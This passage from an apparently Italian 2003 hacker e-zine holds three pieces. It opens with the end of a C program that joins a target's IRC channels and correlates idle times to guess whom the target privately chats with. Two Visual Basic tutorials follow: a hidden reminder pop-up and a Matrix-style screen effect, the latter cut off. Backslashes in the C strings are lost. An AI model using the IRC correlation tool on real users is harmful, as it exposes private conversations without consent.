| if(index_nick == NULL) |
| nickname_idle = (IDLE_THRESHOLD * 2) + 1; |
| else{ |
| |
| /* |
| * Save the the idle of the nickname supplied as argument in |
| * the command line if its value is less than or equal to |
| * IDLE_THRESHOLD |
| */
|
| if(index_nick->idle <= IDLE_THRESHOLD) |
| nickname_idle = index_nick->idle; |
| |
| /* |
| * Else, set the idle for that nick to a dummy value. This cause |
| * the trust value of all the nick in the channel to be set to 0 |
| */
|
| else |
| nickname_idle = (IDLE_THRESHOLD * 2) + 1; |
| } |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| add_idle = nickname_idle + index_nick->idle; |
| |
| /* |
| * If the sum of the idle of the nickname specified from the |
| * command line and the one retrived from the nick list is bigger |
| * than IDLE_THRESHOLD * 2, then the trust value of the retrived |
| * nick will be set to 0 |
| */
|
| if(add_idle > IDLE_THRESHOLD * 2){ |
| index_nick->trust = 0; |
| index_nick = index_nick->next; |
| continue; |
| } |
| |
| /* |
| * The trust for the nick in the channel will be increased |
| * proportionally to the value of the sum calcolated as described |
| * above |
| */
|
| else if(add_idle <= IDLE_THRESHOLD * 2 / 3) |
| index_nick->trust += 3; |
| else if(add_idle <= IDLE_THRESHOLD * 4 / 3) |
| index_nick->trust += 2; |
| else |
| index_nick->trust++; |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| index = list; |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| printf("%s: %d %dn", index_nick->nickname, index_nick->idle, |
| index_nick->trust); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| |
| /* |
| * Check channel statistics and prompt for possible query |
| */
|
| |
| void idle_check(chan *list, char *nickname){ |
| |
| chan *index = list; |
| nick *index_nick; |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| |
| /* |
| * If the trust value of a nickname in the channel has reached |
| * the value specified by the TRUST constant, prompt the user |
| * for possible query between this user and the one specified |
| * as argument of the command line |
| */
|
| if(index_nick->trust >= TRUST && |
| strcmp(nickname, index_nick->nickname) != 0) |
| printf("possibile query con %sn", index_nick->nickname); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| printf("n"); |
| |
| } |
| |
| /* |
| * Reset trust value of nickname that speak in chennel |
| */
|
| |
| int reset_trust(char *buff, chan *list, char *nickname){ |
| |
| int i = 0; |
| char *temp, *token; |
| chan *index; |
| nick *index_nick; |
| |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse and save the nickname that speak in channel |
| */
|
| if( (token = (char *)strtok(temp, " ")) != NULL && token[0] == ':'){ |
| token++; |
| while(token[i] != '!' && token[i] != 0) |
| i++; |
| if(token[i] == '!'){ |
| token[i] = 0; |
| index = list; |
| |
| /* |
| * The trust value of the saved nickname will be reset |
| */
|
| if(strcmp(nickname, token) != 0){ |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL && |
| strcmp(token, index_nick->nickname) != 0) |
| index_nick = index_nick->next; |
| |
| /* |
| * To reset the nickname we assign a trust value of -3 |
| * because in the next idle probe its value will be |
| * incremented and will reach the 0 |
| */
|
| if(index_nick != NULL) |
| index_nick->trust = -3; |
| index = index->next; |
| } |
| } |
| |
| /* |
| * If the saved nickname is the same of the nick supplied from |
| * the command line, the trust value of all nick in the channel |
| * will be reset |
| */
|
| else{ |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| index_nick->trust = -3; |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| } |
| } |
| free(temp); |
| } |
| |
| /* |
| * The signal handler function is called every time the timer |
| * set by alert(), default 30 seconds, reach 0 |
| * The sig_handler() function call other function that probe |
| * and sample idle value, update nick list, calculate statistics |
| * and check for possible query |
| */
|
| |
| static void sig_handler(int signo){ |
| |
| if(count == N){ |
| update_global = list_global; |
| count = 0; |
| } |
| idle_prober(sock_global, list_global); |
| idle_stat(list_global, nick_global); |
| idle_check(list_global, nick_global); |
| count++; |
| if(alarm(30) != 0) |
| printf("alarm was already setn"); |
| |
| } |
| |
| int main(int argc, char **argv){ |
| |
| struct sockaddr_in servaddr; |
| int sock, r, first = 1; |
| char buff[1000]; |
| chan *list = NULL, *join = NULL, *index; |
| nick *index_nick; |
| struct sigaction act, oldact; |
| |
| act.sa_handler = sig_handler; |
| sigemptyset(&act.sa_mask); |
| act.sa_flags = 0; |
| act.sa_flags |= SA_RESTART; |
| if(sigaction(SIGALRM, &act, &oldact) < 0) |
| printf("sigaction errorn"); |
| |
| if(argc != 3){ |
| printf("Usage: %s <ip address> <nickname>n", argv[0]); |
| exit(0); |
| } |
| |
| if( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){ |
| printf("socket errorn"); |
| exit(0); |
| } |
| |
| bzero(&servaddr, sizeof(servaddr)); |
| servaddr.sin_family = AF_INET; |
| if(inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0){ |
| printf("inet_pton errorn"); |
| exit(0); |
| } |
| servaddr.sin_port = htons(PORT); |
| |
| if(connect(sock, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0) |
| { |
| printf("connect errorn"); |
| exit(0); |
| } |
| |
| strncpy(buff, USER, sizeof(buff)); |
| writen(sock, buff, strlen(buff)); |
| |
| strncpy(buff, NICK, sizeof(buff)); |
| writen(sock, buff, strlen(buff)); |
| |
| buff[0] = 0; |
| sleep(10); |
| |
| while(1){ |
| |
| /* |
| * Build a list of the channel that the nickname supplied |
| * from the command line has joined |
| */
|
| if(list == NULL){ |
| while(!channel_sampler(buff, &list, argv[2])){ |
| strncpy(buff, "WHOIS ", sizeof(buff)); |
| strncat(buff, argv[2], sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| } |
| list_global = list; // passa la lista al signal handler |
| sock_global = sock; |
| nick_global = argv[2]; |
| join = list; |
| } |
| |
| /* |
| * Join all the channel in the list already build by |
| * channel_sampler() function |
| */
|
| if(join != NULL){ |
| sleep(3); |
| strncpy(buff, "JOIN ", sizeof(buff)); |
| strncat(buff, join->channel, sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| join = join->next; |
| } |
| |
| /* |
| * Query the IRC server for the list of nick in all channels |
| * The response will be handled by nick_list() that update |
| * the nick list |
| */
|
| if(update_global != NULL){ |
| sleep(3); |
| strncpy(buff, "NAMES ", sizeof(buff) - 1); |
| strncat(buff, update_global->channel, |
| sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| update_global = update_global->next; |
| } |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| buff[r] = 0; |
| |
| /* |
| * Buid or update the list of the nick in the channel from |
| * the RPL_NAMREPLY message received from the server |
| */
|
| if(nick_list(buff, list)){ |
| if(first){ |
| |
| /* |
| * Set the first alarm() that elicit a SIGALRM signal |
| * handled by sig_handler() |
| */
|
| if(alarm(30) != 0) |
| printf("alarm was already setn"); |
| first = 0; |
| } |
| index = list; |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| printf("%sn", index_nick->nickname); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| else ping_pong(sock, buff); |
| reset_trust(buff, list, argv[2]); |
| } |
| |
| } |
| |
| |
| |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| PR0MEM0RiA iN VB [Pupi] 0x0E/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Pro Memoria in VB |
| |
| Eccomi di nuovo qua e ancora a spiegarvi come funziona un piccolo |
| programmino in VB... |
| |
| Premessa: lo so, lo so che la maggior parte di voi considera VB uno dei |
| peggiori linguaggi di programmazione esistenti (e in effetti non posso |
| darvi torto), lo so che non è molto potente come linguaggio, ma se non |
| altro è abbastanza semplice e permette di fare con estrema facilità |
| cose per cui altrimenti dovremmo scrivere Km di codice in altri |
| linguaggi!! E allora perchè sputarci sopra...nessuno si sogna di |
| progettare in VB chissà cosa di grande importanza o utilità (anche |
| perchè sarebbe difficile, per non dire impossibile, e cmq sarebbe un |
| gesto folle scegliere VB), ma semplici programmini utili possiamo |
| sempre farceli...e quello che sto per spiegarvi può davvero risultare |
| un piccolo utile semplicissimo programmino facile facile che tutti vi |
| potete creare!! |
| |
| Or dunque, chiarito il perchè mi ostino a scrivere ancora in Visual |
| Basic nonostante di linguaggi ne sappia parecchi, andiamo |
| oltre...dicevamo...dopo Matrix (bello quanto volete, ma inutile come |
| programma), ecco un altro pò di codice che invece può rivelarsi molto |
| molto utile in certi casi. |
| |
| Obiettivo:creare un piccolo pro-memoria che, invisibile ai nostri |
| occhi, controlli saltuariamente l'orologio di sistema per richiamarci a |
| tempo debito ed avvertirci di altri impegni. |
| |
| Detto fatto, niente di più facile... |
| Allora...tanto per iniziare dovrete crearvi un Form più o meno simile a |
| quello che mi sono creato io (ma potete anche cambiarlo del tutto, |
| nessuno vi obbliga a copiarlo completamente!!), ovvero, partendo |
| dall'alto verso il basso, fate: |
| 1-Mettete un'etichetta e cambiatele Caption in "Ora:" (senza |
| virgolette!!). |
| 2-Accanto all'etichetta Ora mettete un testo a linea singola, |
| chiamatelo txtOra e cancellate il contenuto della proprietà Text. |
| 3-Lasciate un pò di spazio vuoto (poco) e sotto a questi mettete |
| un'altra etichetta con Caption "ProMemoria:" (anche questo senza |
| virgolette, ma sfido a trovare qualcuno tanto grullo che ce le mette, |
| quindi non lo dirò più!!). |
| 4-Sotto questa etichetta mettete un altro testo, chiamatelo |
| txtProMemoria, cancellate la proprietà Text e mettete Multiline su True. |
| 5-In fondo, uno accanto all'altro, mettete due pulsanti le cui Caption |
| saranno rispettivamente "Attiva" e "Esci" e i cui nomi saranno |
| cmdAttiva e cmdEsci. |
| 6-Dove volete piazzate un Timer che chiamerete in uno sforzo di |
| fantasia Timer (che volete, mi sono appena svegliato, mica posso |
| inventarmi chissà che nomi fino a quando il cervello mi resta in |
| Standby!!) e per cui imposterete Enabled su False e Interval su 20000 |
| (20 secondi circa). |
| 7-Per ultimo vanno cambiate alcune proprietà del Form, ovvero il nome |
| (se volete, altrimenti non importa!! Io ad esempio l'ho chiamato "PM" e |
| ho cambiato anche il nome del progetto in "ProMemoria" così che fra le |
| applicazioni in corso non mi appare "Progetto1" quando lo eseguo, ma |
| bensì ProMemoria!!), la Caption in "Pro-Memoria" (o come volete, tanto |
| è semplicemente il nome che appare nella barra della finestra), |
| BorderStyle = 1-Fixed Single, StartUpPosition = 2-CenterScreen e |
| ControlBox su False. Quest'ultimo perchè almeno quando lo lanciamo e lo |
| impostiamo, poi premiamo Attiva e di lui non rimane niente neppure |
| sulla barra d'avvio!! |
| |
| Ok...adesso il Form e tutto ciò che ci serve sono pronti...manca solo |
| il codice sorgente... |
| Benissimo...eccolo qua, spiegato un pezzo alla volta!! |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub Form_Load() |
| txtOra = Format(Time, "hh:mm:ss") |
| txtProMemoria = "Ricordati che..." |
| End Sub |
| ------------------------------------------------------------------------ |
| Questa parte di codice fa semplicemente in modo che all'avvio del |
| programma nel testo txtProMemoria appaia la scritta "Ricordati che..." |
| (O qualsiasi scritta vogliate; potete anche cambiarla o toglierla o |
| inserirla direttamente nella proprietà Text di txtProMemoria) mentre |
| nella casella txtOra verrà impostata un'ora qualsiasi e in questo caso |
| ci impostiamo l'ora di sistema, nel formato che apparirà |
| come "hh.mm.ss", nonostante nell'istruzione indichiamo i due punti!! |
| Misteri della fede... |
| Ah...piccolo appunto: visto che txtOra è il primo controllo che può |
| ricevere il SetFocus (ovvero la selezione) non importa impostarla |
| perchè la riceve automaticamente all'avvio...se invece vogliamo che |
| altri controlli ricevano la selezione automatica all'avvio, scrivere |
| nel codice oggetto.SetFocus, dove oggetto è il nome del controllo che |
| deve ricevere la selezione. |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub txtOra_GotFocus() |
| txtOra.SelStart = 0 |
| txtOra.SelLength = Len(txtOra) |
| End Sub |
| ------------------------------------------------------------------------ |
| Ecco qua due istruzioni che fanno si che quando txtOra riceve la |
| selezione (ovvero al lancio del programma) tutto il testo venga |
| evidenziato e cancellato non appena si preme un tasto, supponendo che |
| il testo vada in ogni modo cambiato, in quanto non penso che si imposti |
| il promemoria per avvertirci di qualcosa che dobbiamo fare nel minuto |
| corrente!! |
| Altro piccolo appunto: quando si scrive l'ora da impostare per far |
| scattare il ProMemoria, si devono mettere anche i punti, altrimenti, |
| per una funzione di controllo che vedremo dopo, il programma setterà |
| automaticamente ogni volta l'ora a "00.00.00". |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub txtOra_LostFocus() |
| Dim i As Integer |
| For i = 1 To Len(txtOra) |
| If IsNumeric(Mid(txtOra, i, 1)) = False Then |
| If Mid(txtOra, i, 1) <> "." Then |
| GoTo ErrOra |
| End If |
| End If |
| Next i |
| On Error GoTo ErrOra |
| txtOra = Format(txtOra, "hh:mm:ss") |
| Exit Sub |
| ErrOra: |
| MsgBox "Formato ora non valido.", vbExclamation, "Errore formato ora" |
| txtOra = Format(Now, "hh:mm:ss") |
| txtOra.SetFocus |
| End Sub |
| ------------------------------------------------------------------------ |
| Ecco qua la funzione di controllo di cui sopra sulla esatta scrittura |
| dell'ora. Questa funzione è necessaria in quanto per vedere se |
| l'ora "X" è scattata dovremo prelevare l'ora dal sistema e confrontarla |
| con quella impostata e bisogna far sì che la formattazione delle ore |
| sia uguale, altrimenti si intrippa e non ci avverte mai!! |
| Comunque...dicevamo...questa funzione controlla prima di tutto che nel |
| testo siano presenti solo cifre da 0 a 9 o punti "." (di separazione), |
| perchè altrimenti se ci sono altri caratteri va in palla tutto e non |
| funziona, dopodichè formatta l'ora inserita secondo il formato |
| richiesto. Come vi ho detto se non inserite i punti formatterà l'ora |
| a "00.00.00", quindi inserite i punti quando scrivete l'ora. |
| Se scriverete un0ora del tipo "12.4.6" il programma ve la formatterà |
| come "12.04.06", e via dicendo. |
| In caso di errore (stringa troppo lunga, caratteri non validi, ecc.) ci |
| apparirà una finestra che ci avverte della non validità del formato |
| dell'ora e resetterà il test di nuovo secondo l'ora di sistema. |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub txtProMemoria_GotFocus() |
| txtProMemoria.SelStart = 0 |
| txtProMemoria.SelLength = Len(txtProMemoria) |
| End Sub |
| ------------------------------------------------------------------------ |
| Per la spiegazione di queste due semplici istruzioni vedere Private Sub |
| txtOra_GotFocus(). |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub cmdEsci_Click() |
| Unload Me |
| End Sub |
| ------------------------------------------------------------------------ |
| Il tasto Esci...se lo si preme si scarica il programma dalla memoria e |
| chi s'è visto s'è visto!! |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub cmdAttiva_Click() |
| Timer = True |
| Me.Hide |
| End Sub |
| ------------------------------------------------------------------------ |
| Il tasto Attiva...se lo si preme aziona il Timer e nasconde il Form che |
| sparirà dallo schermo e dalla barra d'avvio, per riapparire a tempo |
| debito ed avvertirci dei nostri impegni. |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub Timer_Timer() |
| Dim strOra As String |
| strOra = Format(Now, "hh:mm:ss") |
| If strOra > txtOra Then |
| MsgBox "Ricordati che..." & txtProMemoria, vbInformation, "Pro |
| Memoria, ore: "
& txtOra |
| Unload Me |
| End If |
| End Sub |
| ------------------------------------------------------------------------ |
| Il Timer, il cuore del ProMemoria, ogni 20 secondi circa (ma lo si può |
| impostare anche su tempi diversi, ricordando che 1000 corrisponde a |
| circa un secondo) scaricherà l'ora di sistema in una variabile, |
| formattandola a dovere, per poi controllarla paragonandola con l'ora da |
| noi impostata e, nel caso sia uguale o maggiore (maggiore perchè |
| chiaramente avvenendo il controllo ogni venti secondi rischiamo quasi |
| sicuramente di andare oltre l'ora impostata di qualche secondo) ci |
| avverte con un MsgBox (ovvero una finestrella) il cui titolo sarà "Pro |
| Memoria, ore: <ora impostata>"
e il cui testo riporterà il ProMemoria |
| da noi scritto (ad esempio: "Ricordati che devi hackerare il server |
| xxx!!"
). |
| |
| |
| Ecco qua...è tutto...difficile? Direi di no...eppure può rivelarsi a |
| volte molto utile, vi assicuro...ad esempio, dovete andare dalla vostra |
| ragazza a festeggiare il suo compleanno? Potrete evitare che la vostra |
| unica compagna rimanga la tastiera...dovete andare a fare la spesa (o |
| che so io)? Potrete evitare che vostra madre scleri...dovete andare a |
| lavorare? Potrete evitare il licenziamento...dovete andare dagli sbirri |
| per rispondere di atti di "violenza informatica"?Beh...che lo impostate |
| a fare...SCAPPATE!! |
| Ok, a parte gli scherzi, quando vi metterete davanti al Pc a volte vi |
| accorgerete che vi potrà tornare utile attivarlo per ricordarvi che è |
| giunta l'ora di staccarvi dallo schermo!! |
| E' chiaro che si possono apportare modifiche al programma, ad esempio, |
| formattando l'ora senza secondi e uguale a quella scaricata dal |
| sistema, il blocco di gestione e controllo del formato risulterà più |
| leggero, e così via, ma ciò nonostante il codice soprà riportato è |
| abbastanza veloce, poco spazioso e completo, quindi non mi sono |
| sbattuto troppo per migliorarlo ulteriormente...se vi va fatelo da voi!! |
| |
| Ok...vi saluto e vi ringrazio per l'ascolto...se volete scrivermi per |
| un motivo qualsiasi la mia e-mail è: Toscaio@Hotmail.com |
| Se non volete scrivermi è uguale, evidentemente non avevate niente da |
| dirmi, quindi alla prossima volta...per ora è tutto!! |
| Au revoir... |
| |
| |
| @#§§-<PUPI>-§§#@ |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| MATRiX [Pupi] 0x0F/0x20 |
+--------------------------------------------------------------------------+
| |
| MATRIX |
| |
| |
| A chi, fra tutti gli spippolatori che leggeranno questo documento, non |
| è mai passato per la testa di riprodurre quella schermata che si vede |
| nel film Matrix in cui colonne di simboli cadono per lo schermo e nelle |
| quali gli abitanti della navetta di Morpheus riescono a vedere "belle |
| bionde e cosce lunghe"
? |
| |
| ...Il cucchiaino non esiste... |
| |
| Non so a voi, ma a me ha tormentato per mesi la curiosità di scoprire |
| se davvero in tali masse di dati si riescono a vedere bionde e cosce e, |
| spinto da questi nobili principi, ho deciso di riprodurre quella |
| schermata...o meglio...all'inizio avevo deciso di cercarne una già |
| fatta |
| per evitarmi la fatica e nonostante i compagni di ondaquadra mi abbiano |
| dato molte dritte su dove potevo trovarla...non ne ho trovata nessuna!! |
| Tutte brutte copie lontane mille miglia dalla reale schermata...e |
| allora...se non la posso trovare, la creo!!! |
| La scelta del linguaggio è caduta su Visual Basic (perkè?beh...ho preso |
| un dado, ad ogni numero corrispondeva un linguaggio, l'ho tirato per |
| aria...e...Visual Basic!!). |
| Premetto che il risultato è abbastanza soddisfacente e molto vicino |
| alla reale schermata, tanto che quando l'ho fatto partire per la prima |
| volta (non è partito, diciamo la seconda o terza,và...)mi sono stupito |
| io stesso... |
| Spero, una volta letto questo testo, che qualcuno se la faccia |
| prendere bene e si metta come me a scervellarsi per riprodurre |
| fedelmente la famosa schermata, magari partendo dal sorgente che |
| troverà di seguito e migliorandolo... |
| Allora...iniziamo... |
| |
| |
| Pillola blu, pillola rossa... |
| |
| ...Blu?A' Morpheus, cazzo dici!!...guarda che sò giovane ancora, |
| niente Viagra per me... |
| |
| Mi sono accorto purtroppo (riguardando per l'ennesima volta il film, |
| che già che ci sono me lo riguardo per intero ogni volta!!) che nella |
| schermata ogni colonna ha velocità propria, differente dalle altre, e |
| per far questo in Visual Basic bisogna (ahimè) creare un timer per ogni |
| colonna... |
| Questo rende il tutto un po' complicato e non potevo certo permettermi |
| di creare un timer a colonna per un programma che gira su tutto |
| schermo...quindi...ho deciso di creare una matrice di timer (con 20 |
| timer, ma va bene anke meno o di +) con le seguenti caratteristiche: |
| |
| Name=Timer (per tutti uguale, sennò che matrice è!!); |
| Index=da 0 a 19 (per i più duri, il primo timer ha index zero, il |
| secondo ha index uno e così via); |
| Interval=10 il primo, 20 il secondo, 30 il terzo e così via fino a |
| 200... |
| Enabled=True (x tutti) |
| |
| Poi necessitiamo di un altro timer aggiuntivo che chiameremo TimeSost e |
| che serve solo per una funzione "opzionale" che vi spiegherò dopo e |
| quindi potete anke levarlo ma a me piace e poi anche in Matrix c'è |
| quella funzione e allora l'ho messo e poi che volete sapete che vi dico |
| ok ve la siete cercata...nun me scassate ò kazz!!! |
| Lo stesso vale per TimeLet e TimeStr, anch'essi utili solo per una |
| funzione grafica che rende il tutto un po' + carino. |
| Le caratteristiche di TimeSost sono semplicemente Enabled=true e |
| Interval=10. |
| Per TimeLet, Enable=true e Interval=50. |
| Infine per TimeStr (secondo me la + carina fra tutte le funzioni |
| grafiche di questo programmino), Enabled=true e Interval=100 (o75,se la |
| volete + veloce). |
| Fatto questo prendiamo il form, proprietà e modifichiamo: |
| |
| backcolor=nero; |
| filecolor e forecolor (non so quale è quello sicuro, ma se li mettete |
| tutti e due funziona e quindi...) su un verde brillante (avete presente |
| il verde delle foglie di marijuana durante i primi giorni di vita?); |
| Controlbox, enabled, clipcontrols tutti su false; |
| caption= (vuol dire che non ci deve essere scritto niente in |
| caption); |
| borderstyle=fixed single; |
| scalemode=4 (character); |
| Tipo carattere: Arial Black, di dimensione 7, senza grassetto o corsivo |
| o sottolineato. |
| |
| Ecco qua...il form è pronto...manca solo da impostare WindowsState su |
| 2: Maximized...TUTTO SCHERMO!!! Ve la consiglio...una volta pronto sarà |
| un flash stupendo... |
| Ok...nient'altro da dire...(Almeno credo...se mi sono dimenticato |
| qualcosa ve lo dico dopo)...possiamo passare alla parte riguardante i |
| moduli. |
| |
| |
| Follow the white rabbit... |
| |
| Ok...fatto il form arriva adesso la parte + bella e intortante: vi |
| spiegherò uno ad uno cosa fanno i vari timer ed in seguito li |
| rispiegherò in funzione di Matrix. Kiaro, no? |
| Or dunque...i vari timer (quelli della matrice) partono ognuno dal |
| punto zero (prima riga) di una colonna a caso e ogni volta che arrivano |
| in fondo cambiano colonna e rifanno sulla nuova colonna lo stesso |
| lavoro, e così via, all'infinito. Ma cos'è che fanno? Lo spiego subito. |
| Ad ogni istanza (copia) del timer viene assegnata una variabile dove |
| viene messo un valore a caso (anke questo viene riscritto ogni volta |
| che arriva a fondo colonna) che è un punto a caso lungo la colonna. Il |
| timer ad ogni "clock", partendo da zero, cancella un eventuale valore |
| scritto e riscrive un valore a caso del codice Ascii (tradotto in |
| simbolo, s'intende) nel punto indicato al momento e "scende" di una |
| riga lungo la propria colonna assegnata. Questo fino a quando non |
| arriva al suo "punto". Da lì in poi inverte la sua funzione e invece |
| che scrivere, cancella tutto ciò che trova sul suo cammino. |
| Come riesce a fare questo ve lo spiegherò in seguito. |
| L'altro timer invece (TimeSost) ha una variabile che cambia |
| continuamente durante l'esecuzione di Matrix e che contiene ogni volta |
| anch'essa un valore tradotto in carattere del codice Ascii. Ad ogni |
| rintocco della campana TimeSost calcola un punto a caso nello schermo |
| e, se c'è il riskio che sia "vuoto", lo lascia com'è, ma se ha la |
| certezza che sia "pieno", ovvero ci sia già scritto qualcosa, cambia |
| semplicemente il valore che vi trova con un nuovo valore. Perkè? Perkè |
| si, perkè mi piaceva e quindi l'ho fatto e se riguardate Matrix vi |
| accorgerete che ho fatto bene a farlo!!! :p |
| Per quanto riguarda TimeLet, parte semplicemente come i normali timer |
| di colonna da zero e mantiene via via che scende sempre la stessa |
| lettera MAIUSCOLA o lo stesso numero, ma a differenza dei timer di |
| colonna non lascia la scia (gioco di parole non voluto) ma cancella via |
| via tutto ciò che si lascia alle spalle. Poi, ad un punto pre- |
| calcolato, si ferma lasciando ciò che trasportava...si avrà quindi |
| l'impressione ad esempio di una lettera in caduta libera lungo lo |
| schermo!!bello, no? |
| Infine, TimeStr fa ben 2 cose al prezzo di una, ovvero controlla due |
| funzioni: |
| la prima è simile al controllo di TimeLet, ma a differenza di quello |
| non mantiene sempre lo stesso carattere ma anzi lo cambia continuamente |
| e si lascia si una breve scia alle spalle di 10 caratteri e man mano |
| che avanza per ogni nuova riga scritta ne cancella una in coda. |
| Partendo da zero scende fino a fondo schermo e sparisce oltre la linea |
| di fondo completamente; |
| la seconda funzione d

  
i TimeStr invece consiste nello scrivere una |
| stringa di una lunghezza a caso lungo una colonna, ma non come i |
| semplici timer partendo da zero e fermandosi in un punto qualsiasi, |
| bensì partendo da un punto qualsiasi e fermandosi in un altro punto |
| qualsiasi, quindi in un punto imprecisato dello schermo ogni volta |
| diverso andrà a scrivere il suo insieme di caratteri casuali... |
| Tutto Kiaro? |
| |
| ...Un'uscita...subito... |
| |
| Ecco qua...questo è tutto ciò (come se fosse poco) che vi serve per |
| creare un programma che riprodurrà quasi fedelmente (seeeee...come no... |
| vabbè, io ci ho provato) la schermata di Matrix...ma...ma...io non ci |
| vedo niente!!Ne cosce ne bionde... |
| Vabbè...vabbè...come non detto...magari migliorandola...cmq,mi sono |
| scordato forse la cosa + importante, e quindi ri-eccomi ancora qua... |
| Ed ecco a voi... |
| |
| |
| Matrix has you... |
| |
| ...I codici sorgenti!!!Vi ho già spiegato la funzione di ogni singolo |
| timer quindi se non avete capito bene ho non riuscite a capire un riga |
| nun me scassate o'kazz!!Prendete un manuale di Visual Basic e ve lo |
| studiate...oppure...oppure...scrivetemi, và...sarò gentile e vi fornirò |
| ulteriori spiegazioni, ok?E poi non andate in giro a dire che Pupi è |
| una merda e non spiega le cose o via dicendo che se vi becco ve |
| sfracello a'capa!! |
| Allora, proseguiamo (in ordine): |
| |
| ...Sta cominciando a convincersi... |
| |
| Inizierò con lo spiegarvi cosa fa Form_Load, ovvero inizializza tutti i |
| registri del programma in modo che all'avvio non contengano valori |
| nulli e ritardino o peggiorino l'esecuzione (e vi giuro che lo |
| fanno, 'sti bastardi!!). Ma volendo si può provare anche l'esecuzione |
| senza eseguire questa Sub, e vedere che fa (magari niente)...nei codici |
| che ho scritto sotto infatti non ho messo il Load del Form e sul mio Pc |
| non crea casini, ma se sui vostri lo fa prendete tutte le variabili |
| riportate in cima e inizializzatele (come? Minkia...un po' di |
| fantasia...se proprio non ci riuscite scrivetemi che ve lo dico, ok?). |
| Certo è che non possiamo levare di sicuro Timer_timer, che gestisce |
| ogni singolo "rintocco" di ogni singolo timer di colonna (praticamente |
| manda avanti tutta la baracca). Questa Sub calcola se il punto corrente |
| su cui va ad agire il timer che ha chiamato è un punto di scrittura o |
| un punto di cancellazione, e chiama quindi le due function TimeGen o |
| TimeCanc a seconda di quello che si deve fare, oppure, se il punto |
| indicato "sfonda" al di fuori dello skermo, rinizializza il timer |
| cambiandogli colonna e punto di inversione. |
| Continuerò spiegandovi come funziona e che cacchio è la Function |
| TimeGen: |
| Innanzitutto TimeGen viene chiamata indipendentemente dai Timer di |
| colonna che le passano ognuno per conto suo la colonna di azione e la |
| riga alla quale erano rimasti (vedi Private Sub Timer_timer(index as |
| integer)) |
| Or dunque...TimeGen è la funzione a cui ogni timer di colonna fa |
| riferimento per cancellare il simbolo presente nel punto a cui si sta |
| indicando al momento e sostituirlo con un altro simbolo, e visto che se |
| si scrive senza cancellare i simboli si sovrappongono e sui form non |
| esiste un modo di cancellare diretto, bisogna passare dall'uscita di |
| sicurezza, ovvero creare un quadrato sul simbolo precedente con Line e |
| riempirlo col colore di fondo del form per poi poterci riscrivere sopra. |
| Semplice, no? |
| Ad ogni scadere del clock quindi ogni singolo timer riscrive (anzi, |
| cancella e riscrive) un simbolo nella posizione corrente del form e |
| avanza lungo la propria colonna, quindi, quando arriva a fine colonna, |
| riparte da 0 cambiando colonna e cambiando pure punto di inversione |
| della funzione (da scrittura a cancellatura). Infine ogni volta che |
| viene eseguito TimeGen la variabile varcas (string) muta e vi viene |
| scritto dentro un nuovo simbolo. |
| Di contro, esiste la function TimeCanc che invece che cancellare e |
| riscrivere, cancella solamente tutto ciò che trova sul suo cammino. |
| Quale delle due ogni timer deciderà di eseguire dipenderà dal fatto se |
| è "sopra" (ovvero in righe + alte) del "punto di cambio" oppure se si |
| trova "sotto". Anke la funzione TimeCanc cambia il valore contenuto |
| nella variabile varcas. |
| |
| ...Ahò...Pupi...ce voi dì a'cchè serve 'sta variabbile "varcas" e perkè |
| tutti la modificano?... |
| |
| Perkè? |
| Perkè c'è la sub TimeSost e TimeStrche la prendono quando hanno |
| voglia...quando?...mmm... |
| |
| ...Correva l'anno 2001... |
| |
| Diciamo allo scadere del proprio timer (vi basta come spiegazione?No? |
| Cakki vostri...fatevela bastare!!)...dicevamo, la sub TimeSost prende |
| la variabile varcas, sceglie un punto a caso del form, se ha la |
| certezza che è "occupato" cancella quello che c'è scritto |
| e...zac!!...ci piazza la sua variabiluccia, altrimenti, se pensa che |
| sia "vuoto" gli pijia male e se la leva senza fare niente di |
| che...perkè lo fa?...beh...boh...potete anke levarlo, in effetti, ma fa |
| + varietà, mi piaceva... |
| La sub TimeStr uguale, ovvero prende per le proprie funzioni (che ho |
| spiegato sopra e quindi non mi rimetterò a spiegare) la variabile |
| varcas e fa quello che deve fare, ovvero scrive e fa scorrere la |
| stringa "a scorrimento" e incide l'altra stringa nel punto "a caso" che |
| si è scelta, sempre diversi ( a dir la verità la stringa a scorrimento |
